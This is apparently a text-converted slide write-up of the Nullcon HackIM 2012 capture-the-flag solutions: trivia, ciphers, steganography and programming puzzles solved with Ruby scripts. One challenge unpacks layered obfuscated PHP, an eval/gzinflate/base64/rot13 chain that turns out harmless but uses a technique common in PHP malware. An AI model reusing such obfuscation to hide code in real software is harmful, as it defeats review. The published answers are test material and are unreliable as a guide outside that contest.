![Crypto Level 1: Ulta Pulta
Oexjwok -333 lauiljt bwxylexk hilyruik krbf lk yfi frzlx jekbeqaexi bwzqwxixy. ofiui yfi QB blx kixj lx
iaibyueb kfwbs yfuwrgf yfi sitcwluj eh yfi frzlx jwik kwziyfexg yfly jwik xwy qailki Oexjwok, 2 Ceaa
Glyik
Clue: <!-- <img src="http://www.instablogsimages.com/images/2009/09/14/recycled-keyboard-
computer-mirror1_VXLbh_24429.jpg"> -->
Approach: Recycled Keyboard being the hint, it pointed to a substitution cipher. Solved it by starting
with yfi = the
Flag: Windows 2000 already contains features such as the human discipline component, where the
PC can send an electric shock through the keyboard if the human does something that does not
please Windows, - Bill Gates
Other methods:
1. http://www.blisstonia.com/software/WebDecrypto/index.php
2. Reversed Keyboard
Crypto Level 2: White Noise
File: http://www.nullcon.net/challenge/data/shhhkoinahihai
Approach: Initially thought it was whitespace code. Then noticed only tabs and spaces. Wrote code
to convert them to 0 and 1.
Ruby code:
[clevel2]$ cat decode.rb
x = gets
l = x.size
i=0
decoded = ""
while i < l do
case x[i]
when ' '
print "1"
decoded = decoded + "1"
else
print "0"
decoded = decoded + "0"
end
i=i+1
end
print "n"
i=0
while i < decoded.size - 8]()
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Nullcon HackIM 2012 Solutions
- 1. Nullcon HackIM 2012 Solutions Trivia Level 1 This operating system also refers to a 1982 science fiction film, a board game, and a song off the Prodigy B-Side "What Evil Lurks" Flag: android Ref: Trivia Level 2 This fictional IPv4 packet header field was proposed in RFC 3514 as a means for identifying packets with malicious intent. Flag: evil bit Reference: http://www.ietf.org/rfc/rfc3514.txt Trivia Level 3 This humorous RFC of the Internet Engineering Task Force describes a communication and control protocol suite designed for allowing infinite numbers of monkeys with infinite numbers of typewriters to produce the entire works of William Shakespeare. Flag: 2795 Reference: http://www.ietf.org/rfc/rfc2795.txt Trivia Level 4 Metasploit was originally coded for what purpose? Flag: game Reference: http://threatpost.com/en_us/blogs/qa-hd-moore-metasploit-disclosure-and-ethics- 052010 Trivia Level 5 Released on April 1st 2003, this esoteric programming language uses spaces, tabs and linefeeds to compose commands. Flag: whitespace Reference: http://en.wikipedia.org/wiki/Whitespace_(programming_language)
- 2. Crypto Level 1: Ulta Pulta Oexjwok -333 lauiljt bwxylexk hilyruik krbf lk yfi frzlx jekbeqaexi bwzqwxixy. ofiui yfi QB blx kixj lx iaibyueb kfwbs yfuwrgf yfi sitcwluj eh yfi frzlx jwik kwziyfexg yfly jwik xwy qailki Oexjwok, 2 Ceaa Glyik Clue: <!-- <img src="http://www.instablogsimages.com/images/2009/09/14/recycled-keyboard- computer-mirror1_VXLbh_24429.jpg"> --> Approach: Recycled Keyboard being the hint, it pointed to a substitution cipher. Solved it by starting with yfi = the Flag: Windows 2000 already contains features such as the human discipline component, where the PC can send an electric shock through the keyboard if the human does something that does not please Windows, - Bill Gates Other methods: 1. http://www.blisstonia.com/software/WebDecrypto/index.php 2. Reversed Keyboard Crypto Level 2: White Noise File: http://www.nullcon.net/challenge/data/shhhkoinahihai Approach: Initially thought it was whitespace code. Then noticed only tabs and spaces. Wrote code to convert them to 0 and 1. Ruby code: [clevel2]$ cat decode.rb x = gets l = x.size i=0 decoded = "" while i < l do case x[i] when ' ' print "1" decoded = decoded + "1" else print "0" decoded = decoded + "0" end i=i+1 end print "n" i=0 while i < decoded.size - 8
- 3. j=i+7 print decoded[i..j].to_i(2).chr i=i+8 end print "n" [clevel2]$ cat shhhkoinahihai | ruby decode.rb 01000101011100100111001001101111011100100010000001001101011001010111001101110011 01100001011001110110010100111010001000000101100101101111011101010111001000100000 10100000110000101110011011100110111011101101111011100100110010000100000010011010 11101010111001101110100001000000100001001100101001000000110000101110100001000000 10011000110010101100001011100110111010000100000001100010011100000110111001101110 11000000100000010000110110100001100001011100100110000101100011011101000110010101 11001001110011001000000110000101101110011001000010000001000011011000010110111000 11011110111010000100000010100100110010101110000011001010110000101110100001000000 00001011011100111100100100000011011110110011000100000010110010110111101110101010 00111001001100101011101100110100101101111011101010111001100100000001100110011000 01101100011100000111001001000000101000001100001011100110111001101110111011011110 10001110011001000000010110100100000010011010101001100100000010010110100001000100 001100100011011100110110001100110011000000110100 Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords - MS KB 27630 Flag: Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords - MS KB 276304 Crypto Level 3: Base Test Clue: ====5JP2T6UH5JR4UKRJSZTOEEJKN2TYUMFLXKUMFHJJTJVWULRIGSTGFCZKWZVEDJVJ==== Approach: Looked like Base64. Tried Base64 and Base32 Decoding. Padding in front suggested that we may need to reverse the string. Ruby code: def decodeb32(string) hash = { "A" => "00000", "B" => "00001", "C" => "00010", "D" => "00011", "E" => "00100", "F" => "00101", "G" => "00110", "H" => "00111", "I" => "01000", "J" => "01001", "K" => "01010", "L" => "01011", "M" => "01100", "N" => "01101", "O" => "01110",
- 4. "P" => "01111", "Q" => "10000", "R" => "10001", "S" => "10010", "T" => "10011", "U" => "10100", "V" => "10101", "W" => "10110", "X" => "10111", "Y" => "11000", "Z" => "11001", "2" => "11010", "3" => "11011", "4" => "11100", "5" => "11101", "6" => "11110", "7" => "11111", "=" => "0" } decoded = "" len = string.size - 1 (0..len).each do |i| print hash[string[i].chr] decoded = decoded + hash[string[i].chr] end print "n" b32 = "" (0..7).each do |s| i = s while i < decoded.size - 8 j = i + 7 print decoded[i..j].to_i(2).chr b32 = b32 + "decoded[i..j].to_i(2).chr" i = i + 8 end print "n" end return b32 end string = "====5JP2T6UH5JR4UKRJSZTOEEJKN2TYUMFLXKUMFHJJTJVWULRIGSTGFCZKWZVEDJVJ====" decodeb32(string) decodeb32(string.reverse) string = "MR2W6VDSNFDWKU3JNVQWYYLOMRHGO2LUNE======" decodeb32(string) Flag: duoTriGeSimalandNgiti Crypto Level 4: Elucidate File: http://www.nullcon.net/challenge/data/elucidate
- 5. Approach: Obfuscated PHP code. Using combination of manual effort, irb shell, some scripting and online tools decoded into readable php code. [nullc0n]$ irb ruby-1.9.2-p180 :001 > "x62141x73145x3664x5f144x65143x6f144x65" => "base64_decode" Thefore after base64_decoding, we got: $d9917ccba06ba0e3ed151e1b9461ae76="x62";$sa0eb2c28ddf13a1308bf608b5281360= "x65";$vbc5bd6f114377e0488d6700bf89e9bc="x66";$w67426c2c6071d5516d2011022 955d36="x67";$jfc5943f5fa9c0dc0462fa41344f5a69="x6d";$r646d5905656615ba7d a86edd8fd543f="x6f";$p45fdad1c8a99d58b1fe5bbec9320531="x6f";$xc4b24ab8e13 eb8fec317a4d1a1d6089="x6f";$s751db252d0679f810556e50453d4462="x6f";$d5544 235a898a5b2e405374fc1ed84fc="x73";$xaa4294a0bca922b2cc8b9a2789e95fa="x73" ;$m795646e0bf98ada9720129f542f0de9="x73";$e86bf7887c00ee12d8e91be11684d53d ="x73";$d9917ccba06ba0e3ed151e1b9461ae76.="141";$sa0eb2c28ddf13a1308bf608 b5281360.="162";$vbc5bd6f114377e0488d6700bf89e9bc.="151";$w67426c2c6071d5 516d2011022955d36.="172";$jfc5943f5fa9c0dc0462fa41344f5a69.="144";$r646d5 905656615ba7da86edd8fd543f.="142";$p45fdad1c8a99d58b1fe5bbec9320531.="142 ";$xc4b24ab8e13eb8fec317a4d1a1d6089.="142";$s751db252d0679f810556e50453d44 62.="142";$d5544235a898a5b2e405374fc1ed84fc.="164";$xaa4294a0bca922b2cc8b 9a2789e95fa.="164";$m795646e0bf98ada9720129f542f0de9.="164";$e86bf7887c00 ee12d8e91be11684d53d.="164";$d9917ccba06ba0e3ed151e1b9461ae76.="x73";$sa0 eb2c28ddf13a1308bf608b5281360.="x65";$vbc5bd6f114377e0488d6700bf89e9bc.=" x6c";$w67426c2c6071d5516d2011022955d36.="x69";$jfc5943f5fa9c0dc0462fa41344 f5a69.="x35";$r646d5905656615ba7da86edd8fd543f.="x5f";$p45fdad1c8a99d58b1 fe5bbec9320531.="x5f";$xc4b24ab8e13eb8fec317a4d1a1d6089.="x5f";$s751db252 d0679f810556e50453d4462.="x5f";$d5544235a898a5b2e405374fc1ed84fc.="x72";$ xaa4294a0bca922b2cc8b9a2789e95fa.="x72";$m795646e0bf98ada9720129f542f0de9. ="x72";$e86bf7887c00ee12d8e91be11684d53d.="x72";$d9917ccba06ba0e3ed151e1b 9461ae76.="145";$sa0eb2c28ddf13a1308bf608b5281360.="147";$vbc5bd6f114377e 0488d6700bf89e9bc.="145";$w67426c2c6071d5516d2011022955d36.="156";$r646d5 905656615ba7da86edd8fd543f.="145";$p45fdad1c8a99d58b1fe5bbec9320531.="145 ";$xc4b24ab8e13eb8fec317a4d1a1d6089.="147";$s751db252d0679f810556e50453d44 62.="163";$d5544235a898a5b2e405374fc1ed84fc.="137";$xaa4294a0bca922b2cc8b 9a2789e95fa.="137";$m795646e0bf98ada9720129f542f0de9.="160";$e86bf7887c00 ee12d8e91be11684d53d.="164";$d9917ccba06ba0e3ed151e1b9461ae76.="x36";$sa0 eb2c28ddf13a1308bf608b5281360.="x5f";$vbc5bd6f114377e0488d6700bf89e9bc.=" x5f";$w67426c2c6071d5516d2011022955d36.="x66";$r646d5905656615ba7da86edd8f d543f.="x6e";$p45fdad1c8a99d58b1fe5bbec9320531.="x6e";$xc4b24ab8e13eb8fec 317a4d1a1d6089.="x65";$s751db252d0679f810556e50453d4462.="x74";$d5544235a 898a5b2e405374fc1ed84fc.="x72";$xaa4294a0bca922b2cc8b9a2789e95fa.="x72";$ m795646e0bf98ada9720129f542f0de9.="x6f";$e86bf7887c00ee12d8e91be11684d53d. ="x6f";$d9917ccba06ba0e3ed151e1b9461ae76.="64";$sa0eb2c28ddf13a1308bf608b 5281360.="162";$vbc5bd6f114377e0488d6700bf89e9bc.="147";$w67426c2c6071d55 16d2011022955d36.="154";$r646d5905656615ba7da86edd8fd543f.="144";$p45fdad 1c8a99d58b1fe5bbec9320531.="144";$xc4b24ab8e13eb8fec317a4d1a1d6089.="164" ;$s751db252d0679f810556e50453d4462.="141";$d5544235a898a5b2e405374fc1ed84f c.="145";$xaa4294a0bca922b2cc8b9a2789e95fa.="157";$m795646e0bf98ada972012 9f542f0de9.="163";$e86bf7887c00ee12d8e91be11684d53d.="153";$d9917ccba06ba 0e3ed151e1b9461ae76.="x5f";$sa0eb2c28ddf13a1308bf608b5281360.="x65";$vbc5 bd6f114377e0488d6700bf89e9bc.="x65";$w67426c2c6071d5516d2011022955d36.="x 61";$r646d5905656615ba7da86edd8fd543f.="x5f";$p45fdad1c8a99d58b1fe5bbec932 0531.="x5f";$xc4b24ab8e13eb8fec317a4d1a1d6089.="x5f";$s751db252d0679f8105 56e50453d4462.="x72";$d5544235a898a5b2e405374fc1ed84fc.="x70";$xaa4294a0b ca922b2cc8b9a2789e95fa.="x74";$d9917ccba06ba0e3ed151e1b9461ae76.="144";$s a0eb2c28ddf13a1308bf608b5281360.="160";$vbc5bd6f114377e0488d6700bf89e9bc.=
- 8. d84fc+="x61";$xaa4294a0bca922b2cc8b9a2789e95fa+="x33";$d9917ccba06ba0e3ed151e1 b9461ae76+="143";$sa0eb2c28ddf13a1308bf608b5281360+="141";$vbc5bd6f114377e0488 d6700bf89e9bc+="143";$r646d5905656615ba7da86edd8fd543f+="145";$p45fdad1c8a99d5 8b1fe5bbec9320531+="165";$xc4b24ab8e13eb8fec317a4d1a1d6089+="156";$d5544235a89 8a5b2e405374fc1ed84fc+="143";$d9917ccba06ba0e3ed151e1b9461ae76+="x6f";$sa0eb2c 28ddf13a1308bf608b5281360+="x63";$vbc5bd6f114377e0488d6700bf89e9bc+="x6f";$r64 6d5905656615ba7da86edd8fd543f+="x61";$p45fdad1c8a99d58b1fe5bbec9320531+="x73"; $xc4b24ab8e13eb8fec317a4d1a1d6089+="x74";$d5544235a898a5b2e405374fc1ed84fc+="x 65";$d9917ccba06ba0e3ed151e1b9461ae76+="144";$sa0eb2c28ddf13a1308bf608b5281360+ ="145";$vbc5bd6f114377e0488d6700bf89e9bc+="156";$r646d5905656615ba7da86edd8fd5 43f+="156";$p45fdad1c8a99d58b1fe5bbec9320531+="150";$xc4b24ab8e13eb8fec317a4d1 a1d6089+="145";$d9917ccba06ba0e3ed151e1b9461ae76+="x65";$vbc5bd6f114377e0488d6 700bf89e9bc+="x74";$xc4b24ab8e13eb8fec317a4d1a1d6089+="x6e";$vbc5bd6f114377e04 88d6700bf89e9bc+="145";$xc4b24ab8e13eb8fec317a4d1a1d6089+="164";$vbc5bd6f11437 7e0488d6700bf89e9bc+="x6e";$xc4b24ab8e13eb8fec317a4d1a1d6089+="x73";$vbc5bd6f1 14377e0488d6700bf89e9bc+="164";$vbc5bd6f114377e0488d6700bf89e9bc+="x73"; ruby-1.9.2-p180 :002 > ruby-1.9.2-p180 :003 > $s751db252d0679f810556e50453d4462 => "ob_start" ruby-1.9.2-p180 :004 > $sa0eb2c28ddf13a1308bf608b5281360 => "ereg_replace" ruby-1.9.2-p180 :005 > $jfc5943f5fa9c0dc0462fa41344f5a69 => "md5" .. .. .. ruby-1.9.2-p180 :012 > $w67426c2c6071d5516d2011022955d36 => "gzinflate" ruby-1.9.2-p180 :013 > $d9917ccba06ba0e3ed151e1b9461ae76 => "base64_decode" ruby-1.9.2-p180 :021 > $xaa4294a0bca922b2cc8b9a2789e95fa => "str_rot13" And so on. Therefore: eval($w67426c2c6071d5516d2011022955d36($d9917ccba06ba0e3ed151e1b9461ae76($xaa4294a0 bca922b2cc8b9a2789e95fa(‘yIIgnkcORC4eT5SRD0cho3s2WqMVXWozH4hRSSXY7B0YBDtdngd0cs+9f 96rZnyjS/jj7hmZZ8+87M2sTxT1NWZoRJljzDMMXNUXppQ/rLQG89Uy+9UlsxyVrWmoGozLR7ilMhAai8 gyemgw0aVKsNMFMeoj3UOjhsR6TP2Z4WVZvIzgmX9r/6j7l6mw1agjlawTPb9kZk08qlP08gXt8pxW2tx JNVWt1uyqrZoOHyAjLA4Xd6lanOsZj9e3lE9Fuy4bU/mZC5KemoeKUXECwb/WHKBDPY7lz8sIiNb2VU9 Wq+MfSvwmzzxnphJxlvz3XtCOsSRLmc/mUHEd5KcJUMfe1L8OjjXYn+/oSAnfxD7jKTxVNLWEmuLDzZL 7omK1VavnU6kDb1C0nx7123qZguxg1v3+xVMqCZ43iJoxENOxGzaOAA5zDFxXwzMZOthn+4XYQZCC/ H9lIl6iIin+/BSG0Mf9310hya7rLywnQBBV3S1/hMc8+UE9B764+Uj7aalqKA+ZlpHY/LsW+Bcz3PqUjlUM eO79bsS67a7wzYKhscgvTBp+4bF0TV2mSxTeEJzBnu8J623YhwZrQTZf94R5de1JCTAXpfLY5KVyIrk0M/b xjcFPDTzaISXHrMXb5/a0FGXHtOY1VgecMP/kmSRdCAAxk/ojrAVaJrfy+bSRPFu5MIsw1UT2RiRRIYmvs GkUC+Fj8ks5Uu76Nni47+ARaclzp4jQFIY0MkIrUFslxscIUvmcVqaeINrbpVI/unqFCWUlwirlfd9krZYM+r3 k2gLeF/nv4uUmSP7Sf8/8EA0KyhkGsI7HZ/fsQ2QiGQhQ3p687p2CZ+yklj4fKEmJcfq2JQ3vaqGGBwsxkh u0F81tXcT67WlED2M5BmZ2eDq2dkLqMC6z720S66eSxPLAAunJ1jgEAKN737geMYA9xjMxqCxC’))));
- 9. Is decoded to: eval(gzinflate(base64_decode(str_rot13(‘yIIgnkcORC4eT5SRD0cho3s2WqMVXWozH4hRSSXY7B0YBD tdngd0cs+9f96rZnyjS/jj7hmZZ8+87M2sTxT1NWZoRJljzDMMXNUXppQ/rLQG89Uy+9UlsxyVrWmoGoz LR7ilMhAai8gyemgw0aVKsNMFMeoj3UOjhsR6TP2Z4WVZvIzgmX9r/6j7l6mw1agjlawTPb9kZk08qlP08 gXt8pxW2txJNVWt1uyqrZoOHyAjLA4Xd6lanOsZj9e3lE9Fuy4bU/mZC5KemoeKUXECwb/WHKBDPY7lz 8sIiNb2VU9Wq+MfSvwmzzxnphJxlvz3XtCOsSRLmc/mUHEd5KcJUMfe1L8OjjXYn+/oSAnfxD7jKTxVNL WEmuLDzZL7omK1VavnU6kDb1C0nx7123qZguxg1v3+xVMqCZ43iJoxENOxGzaOAA5zDFxXwzMZOthn +4XYQZCC/H9lIl6iIin+/BSG0Mf9310hya7rLywnQBBV3S1/hMc8+UE9B764+Uj7aalqKA+ZlpHY/LsW+Bcz 3PqUjlUMeO79bsS67a7wzYKhscgvTBp+4bF0TV2mSxTeEJzBnu8J623YhwZrQTZf94R5de1JCTAXpfLY5K VyIrk0M/bxjcFPDTzaISXHrMXb5/a0FGXHtOY1VgecMP/kmSRdCAAxk/ojrAVaJrfy+bSRPFu5MIsw1UT2 RiRRIYmvsGkUC+Fj8ks5Uu76Nni47+ARaclzp4jQFIY0MkIrUFslxscIUvmcVqaeINrbpVI/unqFCWUlwirlfd 9krZYM+r3k2gLeF/nv4uUmSP7Sf8/8EA0KyhkGsI7HZ/fsQ2QiGQhQ3p687p2CZ+yklj4fKEmJcfq2JQ3vaq GGBwsxkhu0F81tXcT67WlED2M5BmZ2eDq2dkLqMC6z720S66eSxPLAAunJ1jgEAKN737geMYA9xjMx qCxC’)))); Decoding rot13, we get the equivalent as: eval(gzinflate(base64_decode('lVVtaxpBEP4rG5FEQ0pub3f2JdZIKJbmU4uEFFKL7O0LOQgqatq0pf+9s 96eMalwF/ww7uzMM8+87Z2fGkG1AJMbEWywmQZZKAHKccD/eYDT89Hl+9HyfklIeJzbTbmYE7vyZuN nv8tlrztj0nIXfAZSZrbw3HBwufE6GC2M4JIMiVmtzK9e/6w7y6zj1ntwynjGCo9xMx08dyC08tKg8ckJ2gk WAIJg1hldeMbBUlNwYN4Kq6ynaBfMw9r3yR9Shl4oH/zMP5XrzbrXHKRPjo/JUXOQCL7ym8fVvAo2IH9 Jd+ZsFijzmmkacuWkyim3KgPBfFEYzp/zHURq5XpWHZsr1Y8BwwKLa+/bFNaskQ7wXGkIAYJRzhYQmM Y7bzX1IniaH6xQo1P0ak7123dMthkt1i3+kIZdPM43vWbkRABkTmnBNN5mQSkKjmZMBgua+4KLDMPP /U9yVy6vVva+/OFT0Zs9310uln7eYljaDOOI3F1/uZp8+HR9O764+Hw7nnydXN+MycUL/YfJ+Opm3CdH wyHZrB79ofF67n7jmLXufptiGOc+4oS0GI2zFkGrRWmOah8W623LujMeDGMs94E5qr1WPGNKcsYL5XIl Vex0Z/okwpSCQGmnVFKUeZKo5/n0STKUgBL1ItrpZC/xzFEqPNNkx/bweNInWesl+oFECSh5ZVfj1HG2E vEEVLzifTxHP+Sw8xf5Hh76Aav47+NEnpymc4wDSVL0ZxVeHSfykfpVHizpIdnrVAeocIV/hadSPJHyjveysq 9xeMLZ+e3x2tYrS/ai4hHzFC7Fs8/8RN0XluxTfV7UM/sfD2DvTDuD3c687c2PM+lxyw4sXRzWpsd2WD3i ndTTOjfkxuh0S81gKpG67JyRQ2Z5OzM2rQd2qxYdZP6m720F66rFkCYNNhaW1wtRNXA737trZLN9kwZ kdPkP'))); Then used http://www.tareeinternet.com/scripts/decrypt.php to decode the above and got: /*a61965a2a6fcfc0957b8658d450952f5*/?><?php function create_zip($_37c4dfe05770cbe4a45d2ae9fa96a647 = array(),$_0cd4cee5d8ae33bea2a09fe4d5698e7a = '',$_63f55f63cda9be345c1ab453ec6c8ce1 = false) { if(file_exists($_0cd4cee5d8ae33bea2a09fe4d5698e7a) && !$_63f55f63cda9be345c1ab453ec6c8ce1) { return false; } $_dc0f13e9391f28d78214c80563ebba44 = array(); if(is_array($_37c4dfe05770cbe4a45d2ae9fa96a647)) { foreach($_37c4dfe05770cbe4a45d2ae9fa96a647 as $_542895ff5fa8dcb5f39647ec91e6fe12) { if(file_exists($_542895ff5fa8dcb5f39647ec91e6fe12)) { $_dc0f13e9391f28d78214c80563ebba44[] = $_542895ff5fa8dcb5f39647ec91e6fe12; } } } if(count($_dc0f13e9391f28d78214c80563ebba44)) { $_57211b392140f8815d1037fc594eb460 = new ZipArchive(); if($_57211b392140f8815d1037fc594eb460- >open($_0cd4cee5d8ae33bea2a09fe4d5698e7a,$_63f55f63cda9be345c1ab453ec6c8ce1 ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) { return false; } foreach($_dc0f13e9391f28d78214c80563ebba44 as $_542895ff5fa8dcb5f39647ec91e6fe12) { $_57211b392140f8815d1037fc594eb460- >addFile($_542895ff5fa8dcb5f39647ec91e6fe12,$_542895ff5fa8dcb5f39647ec91e6fe12); } $_57211b392140f8815d1037fc594eb460->close(); $_4fa3332ef3d19e9840387434b8d28780 =
- 10. "x6f156x6c171x62171x6f142x73145x72166x69156x67164x68151x73143x6f156 x64151x74151x6f156x77157x75154x64164x68145x72145x73165x6c164x73157 x66157x75162x77157x72153x62145x72145x67141x72144x65144x61163x6616 5x6c154x79143x6f156x63154x75163x69166x65141x6e144x61163x68141x7615 1x6e147x65154x75143x69144x61164x65144x74150x65156x6f162x6d141x6c14 3x6f165x72163x65157x66164x68145x70150x65156x6f155x65156x61"; return file_exists($_0cd4cee5d8ae33bea2a09fe4d5698e7a); } else { return false; } } $_37c4dfe05770cbe4a45d2ae9fa96a647=array("x66151x6c145x3156x6a160x67", "x66151x6c145x3256x6a160x67", "x66151x6c145x3356x67151x66"); create_zip($_37c4dfe05770cbe4a45d2ae9fa96a647, "x6d171x7a151x70146x69154x6556x7a151x70", true); ?> From above we get the flag: ruby-1.9.2-p180 :001 > "x6f156x6c171x62171x6f142x73145x72166x69156 x67164x68151x73143x6f156x64151x74151x6f156x77157x75154x64164 x68145x72145x73165x6c164x73157x66157x75162x77157x72153x62145 x72145x67141x72144x65144x61163x66165x6c154x79143x6f156x63154 x75163x69166x65141x6e144x61163x68141x76151x6e147x65154x75143 x69144x61164x65144x74150x65156x6f162x6d141x6c143x6f165x72163 x65157x66164x68145x70150x65156x6f155x65156x61" => "onlybyobservingthisconditionwouldtheresultsofourworkberegardedasfullyconclu siveandashavingelucidatedthenormalcourseofthephenomena" ruby-1.9.2-p180 :002 > References: http://www.tareeinternet.com/scripts/decrypt.php Flag: onlybyobservingthisconditionwouldtheresultsofourworkberegardedasfullyconclusiveandashavingelu cidatedthenormalcourseofthephenomena Crypto Level5: Llun Saving Bank Llun Saving Bank is fed up with known encryption standards to store the data. They decided to reinvent the wheel. Can you decode the data? Clue: Hs Foe vhmmhng un!qrdvdot!Ewhl!btu!nou!@ble> Thdn!id!hr NOU Omoipouenu/!Hs!Id!@ble- cuu!NNU vhllhof>!Thdn!Id!hr!Lamdvoldnu/ Hs Id Cnth @bme and!Vimliog> Tidn Vhdobe Bnldui Ewhl>!Ir hd!Neitidr!@cmd!Oor Villhnf>!Tidn!WHY!ball!him FOE? -!Dqhbtrusongnd Approach: Initially was totally lost. Then noticed that by substituting some of the letters by their previous or next alphabet, we can get some meaningful text as follows: “Is God willing to prevent evil,but not able? Then he is NOT Omnipotent. Is He able, but NOT willing? Then He is Malevolent. Is He Both able and Willing? Then Whence Cometh Evil? Is he Neither able Nor Willing? Then WHY call him GOD? – Epicurusongod” Each letter being at a binary edit distance of one, it points to steganography. Printing out the binary of both the strings, found that only the least significant bit differs for certain letters which is standard form of steganography especially for audio files. Writing a script, got the coded message.
- 11. Ruby Code: crypted = "Hs Foe vhmmhng un!qrdvdot!Ewhl!btu!nou!@ble> Thdn!id!hr NOU Omoipouenu/!Hs!Id!@ble- cuu!NNU vhllhof>!Thdn!Id!hr!Lamdvoldnu/ Hs Id Cnth @bme and!Vimliog> Tidn Vhdobe Bnldui Ewhl>!Ir hd!Neitidr!@cmd!Oor Villhnf>!Tidn!WHY!ball!him FOE? -!Dqhbtrusongnd" orig = "Is God willing to prevent evil,but not able? Then he is NOT Omnipotent. Is He able, but NOT willing? Then He is Malevolent. Is He Both able and Willing? Then Whence Cometh Evil? Is he Neither able Nor Willing? Then WHY call him GOD? - Epicurusongod" len = crypted.size binmsg = "" (0..(crypted.size-1)).each do |i| print "Cypted : " + crypted[i].unpack("B*").first + "n" print "Original: " + orig[i].unpack("B*").first + "n" binmsg = binmsg + crypted[i].unpack("B*").first[7] end print "Binary message: " + binmsg + "n" print "Text message: " + [binmsg].pack("B*") print "n" Flag: Learn howto Hide in Plain Sight Programming Level 1: ROTOMATA Mfp ey zwvo fvat rjx hwprdrr lb nawzh tnfpc: Anj icvlu, hjgy Kbffhg, zk hjp gm nso nntjj, phf sw vawwhnwer, pcum nu oeq ewllxqmqit Clue: We only know the first 6 characters: "Men at" Approach: From manual inspection, we found that possibly the ith character in the ciphertext differs from the plaintext by I mod 26. By manually decoding some words and Google searching, got the Flag. Flag: Men at some time are masters of their fates: The fault, dear Brutus, is not in our stars, but in ourselves, that we are underlings Programming Level 2:Pascal’s Triangle The Flag is the sum of all middle terms till first 1337 rows of Pascal's Triangle Approach: In a Pascals triangle, the sum of the squares of the elements of row n equals the middle element of row (2n − 1). Ruby Code: #rows = gets rows = 1337 rows = rows.to_i / 2
- 12. a = Array.new total = 0 (0..rows).each do |i| a[i] = Array.new (0..i).each do |j| a[i][j] = 1 if j ==0 || i == j a[i][j] = a[i - 1][j - 1] + a[i - 1][j] unless j ==0 || i == j total = total + a[i][j]*a[i][j] end end print total print "n" Flag: 43659324741884237070936006832303643114239411987772786602066543431205872166674362 33239359631257671906424254797004032326756653034333310397082007259357870623427662 43246058781866709722670564598714565665945693435649886216003262864750806978655186 22537377534356455651048425097523734881838663157063304671110082383218294453737678 74422156015835789685633070319435688289548287438365157627110284786617099968029649 7 Programming Level 3: Your Brainfuck Sir... Debug bfcode to get the flag File: http://www.nullcon.net/challenge/data/bfcode Approach: Used online BF interpreter and debugger. Adding . at the end of every line gave the required flag as output. Flag: ...In fact, never ever use gets() or sprintf(), period. If you do we will send evil dwarfs after you.. Programming Level 4: Substitute Problem File: http://www.nullcon.net/challenge/data/deobfus Ruby Code: def trans1(x) out = "" cipher = " ABCDEFGHIJKLMNOPQRSTUVWXYZ...0123456789" words = x.split(' ') words.each do |w| out = out + cipher[w.to_i] end return out end def trans2(x) out = "" map = { "ZERO"=> "00", "ONE" => "01", "TWO" => "02", "THREE"=>"03", "FOUR"=>"04",
- 13. "FIVE" => "05", "SIX" =>"06", "SEVEN" => "07", "EIGHT" => "08", "NINE"=>"09", "TEN" => "10", "ELEVEN" => "11", "TWELVE" => "12", "THIRTEEN" => "13", "FOUTEEN" =>"14","FIFTEEN" => "15", "SIXTEEN" => "16", "SEVENTEEN" => "17", "EIGTEEN" => "18", "NINETEEN" => "19", "TWENTY" => "20", "TWENTYONE" => "21", "TWENTYTWO" => "22", "TWENTYTHREE" => "23","TWENTYFOUR" =>"24", "TWENTYFIVE" => "25", "TWENTYSIX" => "26", "THIRTYEIGHT" => "38", "THIRTYFOUR" => "34" } words = x.split(' ') words.each do |w| print "Invalid " + w if map[w].nil? out = out + map[w].to_s + " " end return out end input = gets out = trans1(input) print out.downcase + "n" out = trans2(out) print out.downcase + "n" out = trans1(out) print out.downcase + "n" out = trans2(out) print out.downcase + "n" out = trans1(out) print out.downcase + "n" #out = trans1(trans2(trans1(trans2(trans1(input))))) #print out.downcase + "n" [plevel4]$ cat deobfus | ruby deof.rb fouteen nine fouteen five twenty five five fouteen zero six nine twentytwo five zero six fifteen twentyone eigteen zero twenty twentythree five fouteen twenty t wentyfive fifteen fouteen five zero twenty twentythree five twelve twentytwo fiv e zero six nine six twenty five five fouteen zero twenty twentythree five foutee n twenty twentyfive fifteen fouteen five zero fouteen nine fouteen five twenty f ive five fouteen zero twenty twentythree five twelve twentytwo five zero twenty twentythree five fouteen twenty twentyfive six nine twentytwo five zero twentysi x five eigteen fifteen zero six nine twentytwo five zero fouteen nine fouteen fi ve twenty five five fouteen zero twenty eight eigteen five five zero five nine s even eight twenty zero six nine twentytwo five zero twenty twentythree five fout een twenty twentyfive twenty eight eigteen five five zero twentysix five eigteen fifteen zero six nine six twenty five five fouteen zero twenty twentythree fift een zero nineteen nine twentyfour zero twenty twentythree five fouteen twenty tw entyfive fifteen fouteen five zero fouteen nine fouteen five twenty five five fo uteen zero twenty eight eigteen five five zero fifteen fouteen five zero twenty twentythree five fouteen twenty twentyfive zero six nine six twenty five five fo uteen zero five nine seven twenty five five fouteen zero twenty twentythree five fouteen twenty twentyfive six nine twentytwo five zero twentysix five eigteen f ifteen zero five nine seven eight twenty zero twenty twentythree five fouteen tw enty twentyfive six nine twentytwo five zero nineteen nine twentyfour twenty fiv e five fouteen zero six nine twentytwo five zero five nine seven twenty five fiv e fouteen zero twenty twentythree five fouteen twenty twentyfive twenty twentyth
- 14. ree fifteen zero six nine twentytwo five zero five nine seven twenty five five f outeen zero twenty twentythree fifteen zero six nine six twenty five five foutee n zero fouteen nine fouteen five twenty five five fouteen zero fouteen nine fout een five zero twenty twentythree five fouteen twenty twentyfive zero twenty twen tythree five fouteen twenty twentyfive six nine twentytwo five zero twentysix fi ve eigteen fifteen zero fifteen fouteen five zero six fifteen twentyone twenty f ive five fouteen zero six fifteen twentyone eigteen zero twentysix five eigteen fifteen zero nineteen nine twentyfour twenty five five fouteen zero five nine se ven twenty five five fouteen zero six nine six twenty five five fouteen zero twe nty twentythree five twelve twentytwo five zero fouteen nine fouteen five zero t wenty twentythree five fouteen twenty twentyfive six fifteen twentyone eigteen z ero fouteen nine fouteen five zero twenty twentythree five fouteen twenty twenty five zero twenty twentythree five fouteen twenty twentyfive six nine twentytwo f ive zero twentysix five eigteen fifteen zero twenty eight nine eigteen twenty tw entyfive five nine seven eight twenty zero twenty eight nine eigteen twenty twen tyfive six fifteen twentyone eigteen zero twentysix five eigteen fifteen zero fi ve nine seven twenty five five fouteen zero six nine six twenty five 